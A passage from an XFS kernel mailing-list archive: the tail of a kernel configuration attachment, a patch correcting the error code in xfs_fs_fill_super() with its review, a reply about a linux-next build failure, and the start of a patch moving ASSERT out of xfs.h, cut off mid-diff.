CONFIG_LOCK_STAT is not set # CONFIG_DEBUG_LOCKDEP is not set CONFIG_DEBUG_ATOMIC_SLEEP=y CONFIG_DEBUG_LOCKING_API_SELFTESTS=y CONFIG_LOCK_TORTURE_TEST=y CONFIG_STACKTRACE=y # CONFIG_DEBUG_KOBJECT is not set # CONFIG_DEBUG_KOBJECT_RELEASE is not set CONFIG_DEBUG_BUGVERBOSE=y CONFIG_DEBUG_LIST=y # CONFIG_DEBUG_PI_LIST is not set CONFIG_DEBUG_SG=y # CONFIG_DEBUG_NOTIFIERS is not set CONFIG_DEBUG_CREDENTIALS=y # # RCU Debugging # # CONFIG_PROVE_RCU is not set CONFIG_SPARSE_RCU_POINTER=y CONFIG_TORTURE_TEST=y CONFIG_RCU_TORTURE_TEST=y CONFIG_RCU_TORTURE_TEST_RUNNABLE=y CONFIG_RCU_TORTURE_TEST_SLOW_PREINIT=y CONFIG_RCU_TORTURE_TEST_SLOW_PREINIT_DELAY=3 CONFIG_RCU_TORTURE_TEST_SLOW_INIT=y CONFIG_RCU_TORTURE_TEST_SLOW_INIT_DELAY=3 # CONFIG_RCU_TORTURE_TEST_SLOW_CLEANUP is not set CONFIG_RCU_CPU_STALL_TIMEOUT=21 CONFIG_RCU_TRACE=y CONFIG_RCU_EQS_DEBUG=y # CONFIG_DEBUG_BLOCK_EXT_DEVT is not set # CONFIG_NOTIFIER_ERROR_INJECTION is not set CONFIG_FAULT_INJECTION=y # CONFIG_FAILSLAB is not set CONFIG_FAIL_PAGE_ALLOC=y # CONFIG_FAIL_MAKE_REQUEST is not set # CONFIG_FAIL_IO_TIMEOUT is not set CONFIG_FAIL_MMC_REQUEST=y CONFIG_FAULT_INJECTION_DEBUG_FS=y CONFIG_ARCH_HAS_DEBUG_STRICT_USER_COPY_CHECKS=y # CONFIG_DEBUG_STRICT_USER_COPY_CHECKS is not set CONFIG_USER_STACKTRACE_SUPPORT=y CONFIG_HAVE_FUNCTION_TRACER=y CONFIG_HAVE_FUNCTION_GRAPH_TRACER=y CONFIG_HAVE_FUNCTION_GRAPH_FP_TEST=y CONFIG_HAVE_DYNAMIC_FTRACE=y CONFIG_HAVE_DYNAMIC_FTRACE_WITH_REGS=y CONFIG_HAVE_FTRACE_MCOUNT_RECORD=y CONFIG_HAVE_SYSCALL_TRACEPOINTS=y CONFIG_HAVE_FENTRY=y CONFIG_HAVE_C_RECORDMCOUNT=y CONFIG_TRACE_CLOCK=y CONFIG_RING_BUFFER=y CONFIG_RING_BUFFER_ALLOW_SWAP=y CONFIG_TRACING_SUPPORT=y # CONFIG_FTRACE is not set # # Runtime Testing # CONFIG_LKDTM=y # CONFIG_TEST_LIST_SORT is not set CONFIG_BACKTRACE_SELF_TEST=y CONFIG_RBTREE_TEST=y # CONFIG_ATOMIC64_SELFTEST is not set # CONFIG_TEST_HEXDUMP is not set # CONFIG_TEST_STRING_HELPERS is not set CONFIG_TEST_KSTRTOX=y # CONFIG_TEST_PRINTF is not set # CONFIG_TEST_RHASHTABLE is not set # CONFIG_PROVIDE_OHCI1394_DMA_INIT is not set CONFIG_DMA_API_DEBUG=y # CONFIG_DMA_API_DEBUG_POISON is not set CONFIG_TEST_FIRMWARE=y CONFIG_TEST_UDELAY=y CONFIG_MEMTEST=y CONFIG_SAMPLES=y CONFIG_SAMPLE_KDBUS=y CONFIG_HAVE_ARCH_KGDB=y # CONFIG_KGDB is not set # CONFIG_STRICT_DEVMEM is not set CONFIG_X86_VERBOSE_BOOTUP=y # CONFIG_EARLY_PRINTK is not set CONFIG_X86_PTDUMP_CORE=y CONFIG_X86_PTDUMP=y # CONFIG_EFI_PGT_DUMP is not set CONFIG_DEBUG_RODATA=y # CONFIG_DEBUG_RODATA_TEST is not set CONFIG_DEBUG_WX=y # CONFIG_DOUBLEFAULT is not set CONFIG_DEBUG_TLBFLUSH=y # CONFIG_IOMMU_STRESS is not set CONFIG_HAVE_MMIOTRACE_SUPPORT=y CONFIG_IO_DELAY_TYPE_0X80=0 CONFIG_IO_DELAY_TYPE_0XED=1 CONFIG_IO_DELAY_TYPE_UDELAY=2 CONFIG_IO_DELAY_TYPE_NONE=3 CONFIG_IO_DELAY_0X80=y # CONFIG_IO_DELAY_0XED is not set # CONFIG_IO_DELAY_UDELAY is not set # CONFIG_IO_DELAY_NONE is not set CONFIG_DEFAULT_IO_DELAY_TYPE=0 # CONFIG_DEBUG_BOOT_PARAMS is not set # CONFIG_CPA_DEBUG is not set CONFIG_OPTIMIZE_INLINING=y # CONFIG_DEBUG_ENTRY is not set # CONFIG_DEBUG_NMI_SELFTEST is not set CONFIG_X86_DEBUG_STATIC_CPU_HAS=y CONFIG_X86_DEBUG_FPU=y CONFIG_PUNIT_ATOM_DEBUG=y # # Security options # CONFIG_KEYS=y # CONFIG_PERSISTENT_KEYRINGS is not set CONFIG_BIG_KEYS=y CONFIG_ENCRYPTED_KEYS=y # CONFIG_SECURITY_DMESG_RESTRICT is not set # CONFIG_SECURITYFS is not set CONFIG_DEFAULT_SECURITY_DAC=y CONFIG_DEFAULT_SECURITY="" CONFIG_CRYPTO=y # # Crypto core or helper # CONFIG_CRYPTO_ALGAPI=y CONFIG_CRYPTO_ALGAPI2=y CONFIG_CRYPTO_AEAD=y CONFIG_CRYPTO_AEAD2=y CONFIG_CRYPTO_BLKCIPHER=y CONFIG_CRYPTO_BLKCIPHER2=y CONFIG_CRYPTO_HASH=y CONFIG_CRYPTO_HASH2=y CONFIG_CRYPTO_RNG=y CONFIG_CRYPTO_RNG2=y CONFIG_CRYPTO_RNG_DEFAULT=y CONFIG_CRYPTO_PCOMP2=y CONFIG_CRYPTO_AKCIPHER2=y CONFIG_CRYPTO_AKCIPHER=y CONFIG_CRYPTO_RSA=y CONFIG_CRYPTO_MANAGER=y CONFIG_CRYPTO_MANAGER2=y CONFIG_CRYPTO_USER=y # CONFIG_CRYPTO_MANAGER_DISABLE_TESTS is not set CONFIG_CRYPTO_GF128MUL=y CONFIG_CRYPTO_NULL=y CONFIG_CRYPTO_NULL2=y # CONFIG_CRYPTO_PCRYPT is not set CONFIG_CRYPTO_WORKQUEUE=y CONFIG_CRYPTO_CRYPTD=y CONFIG_CRYPTO_MCRYPTD=y CONFIG_CRYPTO_AUTHENC=y CONFIG_CRYPTO_ABLK_HELPER=y CONFIG_CRYPTO_GLUE_HELPER_X86=y # # Authenticated Encryption with Associated Data # CONFIG_CRYPTO_CCM=y CONFIG_CRYPTO_GCM=y CONFIG_CRYPTO_CHACHA20POLY1305=y CONFIG_CRYPTO_SEQIV=y # CONFIG_CRYPTO_ECHAINIV is not set # # Block modes # CONFIG_CRYPTO_CBC=y CONFIG_CRYPTO_CTR=y CONFIG_CRYPTO_CTS=y CONFIG_CRYPTO_ECB=y CONFIG_CRYPTO_LRW=y # CONFIG_CRYPTO_PCBC is not set CONFIG_CRYPTO_XTS=y # # Hash modes # CONFIG_CRYPTO_CMAC=y CONFIG_CRYPTO_HMAC=y # CONFIG_CRYPTO_XCBC is not set # CONFIG_CRYPTO_VMAC is not set # # Digest # CONFIG_CRYPTO_CRC32C=y CONFIG_CRYPTO_CRC32C_INTEL=y CONFIG_CRYPTO_CRC32=y # CONFIG_CRYPTO_CRC32_PCLMUL is not set CONFIG_CRYPTO_CRCT10DIF=y # CONFIG_CRYPTO_CRCT10DIF_PCLMUL is not set CONFIG_CRYPTO_GHASH=y CONFIG_CRYPTO_POLY1305=y CONFIG_CRYPTO_POLY1305_X86_64=y # CONFIG_CRYPTO_MD4 is not set CONFIG_CRYPTO_MD5=y CONFIG_CRYPTO_MICHAEL_MIC=y CONFIG_CRYPTO_RMD128=y CONFIG_CRYPTO_RMD160=y # CONFIG_CRYPTO_RMD256 is not set # CONFIG_CRYPTO_RMD320 is not set CONFIG_CRYPTO_SHA1=y CONFIG_CRYPTO_SHA1_SSSE3=y # CONFIG_CRYPTO_SHA256_SSSE3 is not set # CONFIG_CRYPTO_SHA512_SSSE3 is not set CONFIG_CRYPTO_SHA1_MB=y CONFIG_CRYPTO_SHA256=y CONFIG_CRYPTO_SHA512=y CONFIG_CRYPTO_TGR192=y # CONFIG_CRYPTO_WP512 is not set CONFIG_CRYPTO_GHASH_CLMUL_NI_INTEL=y # # Ciphers # CONFIG_CRYPTO_AES=y # CONFIG_CRYPTO_AES_X86_64 is not set # CONFIG_CRYPTO_AES_NI_INTEL is not set CONFIG_CRYPTO_ANUBIS=y CONFIG_CRYPTO_ARC4=y CONFIG_CRYPTO_BLOWFISH=y CONFIG_CRYPTO_BLOWFISH_COMMON=y CONFIG_CRYPTO_BLOWFISH_X86_64=y # CONFIG_CRYPTO_CAMELLIA is not set CONFIG_CRYPTO_CAMELLIA_X86_64=y CONFIG_CRYPTO_CAMELLIA_AESNI_AVX_X86_64=y CONFIG_CRYPTO_CAMELLIA_AESNI_AVX2_X86_64=y CONFIG_CRYPTO_CAST_COMMON=y CONFIG_CRYPTO_CAST5=y CONFIG_CRYPTO_CAST5_AVX_X86_64=y CONFIG_CRYPTO_CAST6=y CONFIG_CRYPTO_CAST6_AVX_X86_64=y CONFIG_CRYPTO_DES=y CONFIG_CRYPTO_DES3_EDE_X86_64=y # CONFIG_CRYPTO_FCRYPT is not set CONFIG_CRYPTO_KHAZAD=y # CONFIG_CRYPTO_SALSA20 is not set # CONFIG_CRYPTO_SALSA20_X86_64 is not set CONFIG_CRYPTO_CHACHA20=y CONFIG_CRYPTO_CHACHA20_X86_64=y # CONFIG_CRYPTO_SEED is not set CONFIG_CRYPTO_SERPENT=y CONFIG_CRYPTO_SERPENT_SSE2_X86_64=y CONFIG_CRYPTO_SERPENT_AVX_X86_64=y # CONFIG_CRYPTO_SERPENT_AVX2_X86_64 is not set CONFIG_CRYPTO_TEA=y # CONFIG_CRYPTO_TWOFISH is not set CONFIG_CRYPTO_TWOFISH_COMMON=y CONFIG_CRYPTO_TWOFISH_X86_64=y CONFIG_CRYPTO_TWOFISH_X86_64_3WAY=y CONFIG_CRYPTO_TWOFISH_AVX_X86_64=y # # Compression # CONFIG_CRYPTO_DEFLATE=y # CONFIG_CRYPTO_ZLIB is not set CONFIG_CRYPTO_LZO=y # CONFIG_CRYPTO_842 is not set # CONFIG_CRYPTO_LZ4 is not set CONFIG_CRYPTO_LZ4HC=y # # Random Number Generation # # CONFIG_CRYPTO_ANSI_CPRNG is not set CONFIG_CRYPTO_DRBG_MENU=y CONFIG_CRYPTO_DRBG_HMAC=y CONFIG_CRYPTO_DRBG_HASH=y CONFIG_CRYPTO_DRBG_CTR=y CONFIG_CRYPTO_DRBG=y CONFIG_CRYPTO_JITTERENTROPY=y CONFIG_CRYPTO_USER_API=y CONFIG_CRYPTO_USER_API_HASH=y CONFIG_CRYPTO_USER_API_SKCIPHER=y CONFIG_CRYPTO_USER_API_RNG=y # CONFIG_CRYPTO_USER_API_AEAD is not set CONFIG_CRYPTO_HW=y # CONFIG_CRYPTO_DEV_PADLOCK is not set CONFIG_CRYPTO_DEV_CCP=y CONFIG_CRYPTO_DEV_CCP_DD=y CONFIG_CRYPTO_DEV_CCP_CRYPTO=y CONFIG_CRYPTO_DEV_QAT=y # CONFIG_CRYPTO_DEV_QAT_DH895xCC is not set CONFIG_CRYPTO_DEV_QAT_DH895xCCVF=y # CONFIG_ASYMMETRIC_KEY_TYPE is not set # # Certificates for signature checking # CONFIG_SYSTEM_TRUSTED_KEYRING=y CONFIG_SYSTEM_TRUSTED_KEYS="" CONFIG_HAVE_KVM=y CONFIG_HAVE_KVM_IRQCHIP=y CONFIG_HAVE_KVM_IRQFD=y CONFIG_HAVE_KVM_IRQ_ROUTING=y CONFIG_HAVE_KVM_EVENTFD=y CONFIG_KVM_APIC_ARCHITECTURE=y CONFIG_KVM_MMIO=y CONFIG_KVM_ASYNC_PF=y CONFIG_HAVE_KVM_MSI=y CONFIG_HAVE_KVM_CPU_RELAX_INTERCEPT=y CONFIG_KVM_VFIO=y CONFIG_KVM_GENERIC_DIRTYLOG_READ_PROTECT=y CONFIG_HAVE_KVM_IRQ_BYPASS=y CONFIG_VIRTUALIZATION=y CONFIG_KVM=y CONFIG_KVM_INTEL=y CONFIG_KVM_AMD=y # CONFIG_BINARY_PRINTF is not set # # Library routines # CONFIG_BITREVERSE=y # CONFIG_HAVE_ARCH_BITREVERSE is not set CONFIG_RATIONAL=y CONFIG_GENERIC_STRNCPY_FROM_USER=y CONFIG_GENERIC_STRNLEN_USER=y CONFIG_GENERIC_NET_UTILS=y CONFIG_GENERIC_FIND_FIRST_BIT=y CONFIG_GENERIC_PCI_IOMAP=y CONFIG_GENERIC_IOMAP=y CONFIG_GENERIC_IO=y CONFIG_ARCH_USE_CMPXCHG_LOCKREF=y CONFIG_ARCH_HAS_FAST_MULTIPLIER=y CONFIG_CRC_CCITT=y CONFIG_CRC16=y CONFIG_CRC_T10DIF=y CONFIG_CRC_ITU_T=y CONFIG_CRC32=y # CONFIG_CRC32_SELFTEST is not set CONFIG_CRC32_SLICEBY8=y # CONFIG_CRC32_SLICEBY4 is not set # CONFIG_CRC32_SARWATE is not set # CONFIG_CRC32_BIT is not set CONFIG_CRC7=y CONFIG_LIBCRC32C=y # CONFIG_CRC8 is not set CONFIG_CRC64_ECMA=y # CONFIG_AUDIT_ARCH_COMPAT_GENERIC is not set CONFIG_RANDOM32_SELFTEST=y CONFIG_ZLIB_INFLATE=y CONFIG_ZLIB_DEFLATE=y CONFIG_LZO_COMPRESS=y CONFIG_LZO_DECOMPRESS=y CONFIG_LZ4HC_COMPRESS=y CONFIG_LZ4_DECOMPRESS=y CONFIG_XZ_DEC=y CONFIG_XZ_DEC_X86=y # CONFIG_XZ_DEC_POWERPC is not set CONFIG_XZ_DEC_IA64=y # CONFIG_XZ_DEC_ARM is not set # CONFIG_XZ_DEC_ARMTHUMB is not set CONFIG_XZ_DEC_SPARC=y CONFIG_XZ_DEC_BCJ=y CONFIG_XZ_DEC_TEST=y CONFIG_DECOMPRESS_BZIP2=y CONFIG_GENERIC_ALLOCATOR=y CONFIG_TEXTSEARCH=y CONFIG_TEXTSEARCH_KMP=y CONFIG_TEXTSEARCH_BM=y CONFIG_TEXTSEARCH_FSM=y CONFIG_BTREE=y CONFIG_INTERVAL_TREE=y CONFIG_ASSOCIATIVE_ARRAY=y CONFIG_HAS_IOMEM=y CONFIG_HAS_IOPORT_MAP=y CONFIG_HAS_DMA=y CONFIG_CHECK_SIGNATURE=y CONFIG_CPU_RMAP=y CONFIG_DQL=y CONFIG_GLOB=y # CONFIG_GLOB_SELFTEST is not set CONFIG_NLATTR=y CONFIG_ARCH_HAS_ATOMIC64_DEC_IF_POSITIVE=y CONFIG_CLZ_TAB=y CONFIG_CORDIC=y CONFIG_DDR=y CONFIG_MPILIB=y CONFIG_UCS2_STRING=y # CONFIG_SG_SPLIT is not set CONFIG_ARCH_HAS_SG_CHAIN=y CONFIG_ARCH_HAS_PMEM_API=y CONFIG_ARCH_HAS_MMIO_FLUSH=y --------------030602090703060405080006-- From dan.carpenter@oracle.com Thu Oct 15 13:20:06 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 2CB6D7F37 for ; Thu, 15 Oct 2015 13:20:06 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 0D895304062 for ; Thu, 15 Oct 2015 11:20:02 -0700 (PDT) X-ASG-Debug-ID: 1444933201-04cbb035aa23e50001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id q7YTKtwPKsGnBfIV (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Thu, 15 Oct 2015 11:20:01 -0700 (PDT) X-Barracuda-Envelope-From: dan.carpenter@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from userv0022.oracle.com (userv0022.oracle.com [156.151.31.74]) by aserp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t9FIJx30032511 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 15 Oct 2015 18:20:00 GMT Received: from userv0121.oracle.com (userv0121.oracle.com [156.151.31.72]) by userv0022.oracle.com (8.13.8/8.13.8) with ESMTP id t9FIJxkB010858 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Thu, 15 Oct 2015 18:19:59 GMT Received: from abhmp0019.oracle.com (abhmp0019.oracle.com [141.146.116.25]) by userv0121.oracle.com (8.13.8/8.13.8) with ESMTP id t9FIJvvD009427; Thu, 15 Oct 2015 18:19:58 GMT Received: from mwanda (/154.0.139.178) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Thu, 15 Oct 2015 11:19:57 -0700 Date: Thu, 15 Oct 2015 21:19:51 +0300 From: Dan Carpenter To: Dave Chinner , "Bill O'Donnell" Cc: xfs@oss.sgi.com, kernel-janitors@vger.kernel.org Subject: [patch] xfs: fix an error code in xfs_fs_fill_super() Message-ID: <20151015181951.GD3163@mwanda> X-ASG-Orig-Subj: [patch] xfs: fix an error code in xfs_fs_fill_super() MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.5.23 (2014-03-12) X-Source-IP: userv0022.oracle.com [156.151.31.74] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1444933201 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23520 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines If alloc_percpu() fails, we accidentally return PTR_ERR(NULL), which means success, but we intended to return -ENOMEM. Fixes: 225e4635580c ('xfs: per-filesystem stats in sysfs') Signed-off-by: Dan Carpenter diff --git a/fs/xfs/xfs_super.c b/fs/xfs/xfs_super.c index 368c55a..b2c252c 100644 --- a/fs/xfs/xfs_super.c +++ b/fs/xfs/xfs_super.c @@ -1477,7 +1477,7 @@ xfs_fs_fill_super( /* Allocate stats memory before we do operations that might use it */ mp->m_stats.xs_stats = alloc_percpu(struct xfsstats); if (!mp->m_stats.xs_stats) { - error = PTR_ERR(mp->m_stats.xs_stats); + error = -ENOMEM; goto out_destroy_counters; } From billodo@redhat.com Thu Oct 15 13:48:20 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id E16457F37 for ; Thu, 15 Oct 2015 13:48:20 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id C0E12304062 for ; Thu, 15 Oct 2015 11:48:20 -0700 (PDT) X-ASG-Debug-ID: 1444934898-04bdf06db354290001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id uomSKOHH5WBF47r8 (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Thu, 15 Oct 2015 11:48:19 -0700 (PDT) X-Barracuda-Envelope-From: billodo@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx14.intmail.prod.int.phx2.redhat.com (int-mx14.intmail.prod.int.phx2.redhat.com [10.5.11.27]) by mx1.redhat.com (Postfix) with ESMTPS id C3D09C0BB293; Thu, 15 Oct 2015 18:48:18 +0000 (UTC) Received: from redhat.com (vpn-49-240.rdu2.redhat.com [10.10.49.240]) by int-mx14.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9FImGL8007808 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO); Thu, 15 Oct 2015 14:48:18 -0400 Date: Thu, 15 Oct 2015 13:48:15 -0500 From: "Bill O'Donnell" To: Dan Carpenter Cc: Dave Chinner , xfs@oss.sgi.com, kernel-janitors@vger.kernel.org Subject: Re: [patch] xfs: fix an error code in xfs_fs_fill_super() Message-ID: <20151015184815.GA18333@redhat.com> X-ASG-Orig-Subj: Re: [patch] xfs: fix an error code in xfs_fs_fill_super() References: <20151015181951.GD3163@mwanda> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20151015181951.GD3163@mwanda> User-Agent: Mutt/1.5.24 (2015-08-30) X-Scanned-By: MIMEDefang 2.68 on 10.5.11.27 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1444934899 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Thu, Oct 15, 2015 at 09:19:51PM +0300, Dan Carpenter wrote: > If alloc_percpu() fails, we accidentally return PTR_ERR(NULL), which > means success, but we intended to return -ENOMEM. > > Fixes: 225e4635580c ('xfs: per-filesystem stats in sysfs') > Signed-off-by: Dan Carpenter > > diff --git a/fs/xfs/xfs_super.c b/fs/xfs/xfs_super.c > index 368c55a..b2c252c 100644 > --- a/fs/xfs/xfs_super.c > +++ b/fs/xfs/xfs_super.c > @@ -1477,7 +1477,7 @@ xfs_fs_fill_super( > /* Allocate stats memory before we do operations that might use it */ > mp->m_stats.xs_stats = alloc_percpu(struct xfsstats); > if (!mp->m_stats.xs_stats) { > - error = PTR_ERR(mp->m_stats.xs_stats); > + error = -ENOMEM; > goto out_destroy_counters; > } > Agreed. Thanks for the patch. Reviewed-by: Bill O'Donnell From david@fromorbit.com Thu Oct 15 14:42:53 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 558D37F3F for ; Thu, 15 Oct 2015 14:42:53 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id D33EDAC006 for ; Thu, 15 Oct 2015 12:42:49 -0700 (PDT) X-ASG-Debug-ID: 1444938165-04cb6c3cec1da60001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id bNfQWWBTspSagQ6N for ; Thu, 15 Oct 2015 12:42:46 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: A2CdBgASASBW/ySkLHlegyaBQqhgiyCLJIYYBAICgTlNAQEBAQEBgQuEJwEBBDocIxAIAw4KCSUPBSUDIROILcNWAQEIAiAZhhaFRYE9g1AHhC4BBJYdjROcGGOCHoF5KjOFZwEBAQ Received: from ppp121-44-164-36.lns20.syd7.internode.on.net (HELO dastard) ([121.44.164.36]) by ipmail07.adl2.internode.on.net with ESMTP; 16 Oct 2015 06:12:45 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1ZmoQ4-0000S2-JQ; Fri, 16 Oct 2015 06:42:32 +1100 Date: Fri, 16 Oct 2015 06:42:32 +1100 From: Dave Chinner To: Randy Dunlap Cc: Stephen Rothwell , linux-next@vger.kernel.org, linux-kernel@vger.kernel.org, xfs@oss.sgi.com Subject: Re: linux-next: Tree for Oct 15 (xfs) Message-ID: <20151015194232.GS31326@dastard> X-ASG-Orig-Subj: Re: linux-next: Tree for Oct 15 (xfs) References: <20151015185150.76cecc3e@canb.auug.org.au> <561FE8A7.8070803@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <561FE8A7.8070803@infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1444938166 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23523 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Oct 15, 2015 at 10:55:51AM -0700, Randy Dunlap wrote: > On 10/15/15 00:51, Stephen Rothwell wrote: > > Hi all, > > > > Changes since 20151013: > > > > on x86_64: > > fs/built-in.o: In function `xfs_free_ag_extent': > xfs_alloc.c:(.text+0x1f36a0): undefined reference to `xfsstats' Already been reported and fixed, just haven't pushed the patch yet. Cheers, Dave. -- Dave Chinner david@fromorbit.com From dave@fromorbit.com Thu Oct 15 18:47:17 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id ABC197F47 for ; Thu, 15 Oct 2015 18:47:17 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 488CAAC003 for ; Thu, 15 Oct 2015 16:47:14 -0700 (PDT) X-ASG-Debug-ID: 1444952828-04cbb035a92bbc0001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id Yitg5YOXFFnmmqzK for ; Thu, 15 Oct 2015 16:47:09 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: A2DtVACPOSBW/ySkLHlegyZUbqhFAgEJEgaBDY8vhiWHN00BAQEBAQGBC4UDOxhqAzSILaBNo1GGL4pwhBcFlh2FGZZdjTVjgUoBCwE6HYFpKjOFZwEBAQ Received: from ppp121-44-164-36.lns20.syd7.internode.on.net (HELO dastard) ([121.44.164.36]) by ipmail07.adl2.internode.on.net with ESMTP; 16 Oct 2015 10:17:08 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.80) (envelope-from ) id 1ZmsEY-0000yK-UL for xfs@oss.sgi.com; Fri, 16 Oct 2015 10:46:54 +1100 Received: from dave by disappointment with local (Exim 4.86) (envelope-from ) id 1ZmsEY-0003PM-TK for xfs@oss.sgi.com; Fri, 16 Oct 2015 10:46:54 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH] headers: remove definition of ASSERT from xfs.h Date: Fri, 16 Oct 2015 10:46:54 +1100 X-ASG-Orig-Subj: [PATCH] headers: remove definition of ASSERT from xfs.h Message-Id: <1444952814-13063-1-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 2.5.0 X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1444952828 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23529 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner If we define ASSERT() in the installed xfs.h header file, programs including this header file will have their local definitions of ASSERT screwed up. This is something internal to the xfsprogs build, so move it to platform_defs.h.in where it will no longer be public. Signed-off-by: Dave Chinner --- include/platform_defs.h.in | 6 ++++++ include/xfs.h | 6 ------ 2 files changed, 6 insertions(+), 6 deletions(-) diff --git a/include/platform_defs.h.in b/include/platform_defs.h.in index 30dd7a4..f4e4261 100644 --- a/include/platform_defs.h.in +++ b/include/platform_defs.h.in @@ -83,4 +83,10 @@ typedef unsigned short umode_t; #define NBBY 8 